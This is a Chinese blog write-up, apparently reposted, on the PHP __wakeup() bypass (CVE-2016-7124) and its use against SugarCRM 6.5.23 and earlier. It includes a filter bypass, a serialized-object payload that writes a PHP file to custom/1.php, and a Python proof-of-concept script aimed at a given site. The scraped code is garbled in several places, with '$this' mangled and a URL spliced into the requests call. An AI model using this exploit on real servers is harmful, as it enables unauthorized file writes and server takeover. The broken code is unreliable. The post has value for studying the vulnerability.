Web|__wakeup()函数失效引发漏洞(CVE-2016-7124)

?
之前在hitcon 2016了解到这个漏洞,后来因为保研、项目什么的一直没时间做,终于有时间研究下这个漏洞了。
ven师傅Blog:http://www.venenof.com/index.php/archives/167/
漏洞影响版本 PHP5 < 5.6.25
PHP7 < 7.0.10
漏洞原理 __wakeup触发于unserilize()调用之前,但是如果被反序列话的字符串其中对应的对象的属性个数发生变化时,会导致反序列化失败而同时使得__wakeup失效。


先运行第一部分,然后得到
1.txt里面的"bendawang":1改成2,那么就无法触发__wakeup(),但是随后会继续触发__destruct
漏洞场景
fullname=this?>fullname=full_name; this?>grades=this?>grades=grades; this?>score=this?>score=score; }function __destruct(){var_dump($this); }function __wakeup(){foreach(get_object_vars(this)asthis)ask => $v) {this?>this?>k = null; }echo "Waking up...\n"; }}// $s = new Student('bendawang', 123, array('a' => 90, 'b' => 100)); // file_put_contents('1.txt', serialize($s)); $a = unserialize(file_get_contents('1.txt')); ?>

正常运行应当是$a的属性因为执行了__wakeup都被清空了
Web|__wakeup()函数失效引发漏洞(CVE-2016-7124)
文章图片

而此时我们把1.txt里面的
Web|__wakeup()函数失效引发漏洞(CVE-2016-7124)
文章图片

换成如下:
Web|__wakeup()函数失效引发漏洞(CVE-2016-7124)
文章图片

再执行
Web|__wakeup()函数失效引发漏洞(CVE-2016-7124)
文章图片

发现并没有在执行__wakeup函数,所以这就是问题所在了!!
实例演示
sugarcrm <=6.5.23
首先是在service/core/REST/SugarRestSerialize.php下的serve.php函数如下:
Web|__wakeup()函数失效引发漏洞(CVE-2016-7124)
文章图片

观察到其中传入sugar_unserialize$data是我们可以控制的,来自于$_REQUEST['rest_data']
其中sugar_unserialize函数定义如下:
Web|__wakeup()函数失效引发漏洞(CVE-2016-7124)
文章图片

而这里'/[oc]:\d+:/i'我们是可以绕过的,它本意是想过滤掉输入的object类型,但是如果我们是这样子的呢o:14 -> o:+14,这样就完成绕过。
从而能够是我们的数据成功传入到unserialize中。
接下来就是寻找另一个类,并且含有可利用的魔法方法
于是我们找到了include/SugarCache/SugarCacheFile.php下的两个魔法方法。
Web|__wakeup()函数失效引发漏洞(CVE-2016-7124)
文章图片

也就是说,接下来我们就需要找到一个点,这个点调用了SugarRestSerialize.phpserve()方法,并且这个点include过存在漏洞的SugarCacheFile.php文件。
/sugarcrm/service/v4/rest.php中如下:
Web|__wakeup()函数失效引发漏洞(CVE-2016-7124)
文章图片

而其中的webservice.php为:
registerClass($registry_class); $service->register(); $service->registerImplClass($webservice_impl_class); // set the service object in the global scope so that any error, if happens, can be set on this object global $service_object; $service_object = $service; $service->serve(); ?>

这里相当于在webservice.php中实例化了service/core/SugarRestService.php中的SugarRestService类并且调用了这个类的serve方法,看看这个被实例化的类的构造方法和serve()
protected function _getTypeName($name) { if(empty($name)) return 'SugarRest'; $name = clean_string($name, 'ALPHANUM'); $type = ''; switch(strtolower($name)) { case 'json': $type = 'JSON'; break; case 'rss': $type = 'RSS'; break; case 'serialize': $type = 'Serialize'; break; } $classname = "SugarRest$type"; if(!file_exists('service/core/REST/' . $classname . '.php')) { return 'SugarRest'; } return $classname; }/** * Constructor. * * @param String $url - REST url */ function __construct($url){ $GLOBALS['log']->info('Begin: SugarRestService->__construct'); $this->restURL = $url; $this->responseClass = $this->_getTypeName(@$_REQUEST['response_type']); $this->serverClass = $this->_getTypeName(@$_REQUEST['input_type']); $GLOBALS['log']->info('SugarRestService->__construct serverclass = ' . $this->serverClass); require_once('service/core/REST/'. $this->serverClass . '.php'); $GLOBALS['log']->info('End: SugarRestService->__construct'); }function serve(){ $GLOBALS['log']->info('Begin: SugarRestService->serve'); require_once('service/core/REST/'. $this->responseClass . '.php'); $response= $this->responseClass; $responseServer = new $response($this->implementation); $this->server->faultServer = $responseServer; $responseServer->faultServer = $responseServer; $responseServer->generateResponse($this->server->serve()); $GLOBALS['log']->info('End: SugarRestService->serve'); }

所以当我们传入input_typeserialize的时候,就能够将我们希望的SugarRestSerialize.php文件包含进来,并且在运行上面的serve的时候把我们希望的SugarRestSerialize.php下的serve也调用了,完美符合要求。
先构造出我们的payload,如下:
_cacheFileName=$a; $this->_localStore[0]=$b; }}$a="../custom/1.php"; $b=""; $sugarcachefile=new SugarCacheFile($a,$b); echo serialize($sugarcachefile)."
"; ?>

得到的如下:
Web|__wakeup()函数失效引发漏洞(CVE-2016-7124)
文章图片

然后把最开始的14改为+14,把3改为其他大于3的数字,这样子就能够绕过过滤和判断,从而把一句话写入到$_cacheFileName中,即custom/1.php
这里需要注意一个很重要的地方,一定要把里面的代表类型的小写s变成大写S,不然会失败。
最终提交如下:
Web|__wakeup()函数失效引发漏洞(CVE-2016-7124)
文章图片

这样子就成功了。
Web|__wakeup()函数失效引发漏洞(CVE-2016-7124)
文章图片

【Web|__wakeup()函数失效引发漏洞(CVE-2016-7124)】写一个poc
#!/usr/bin/env python# encoding: utf-8import requestsimport sysif len(sys.argv)<=1:print "usage : python xxx.py sitehome"else:ip=sys.argv[1]url=ip+"/sugarcrm/service/v4/rest.php"param={'method': 'login',"input_type":"Serialize","rest_data":'O:+14:"SugarCacheFile":10:{S:17:"\\00*\\00_cacheFileName"; S:15:"../custom/1.php"; S:14:"\\00*\\00_localStore"; a:1:{i:0; S:28:""; }S:16:"\\00*\\00_cacheChanged"; b:1; }'}r=requests.session()result=r.post(url,data=https://www.it610.com/article/param)print result.content

    推荐阅读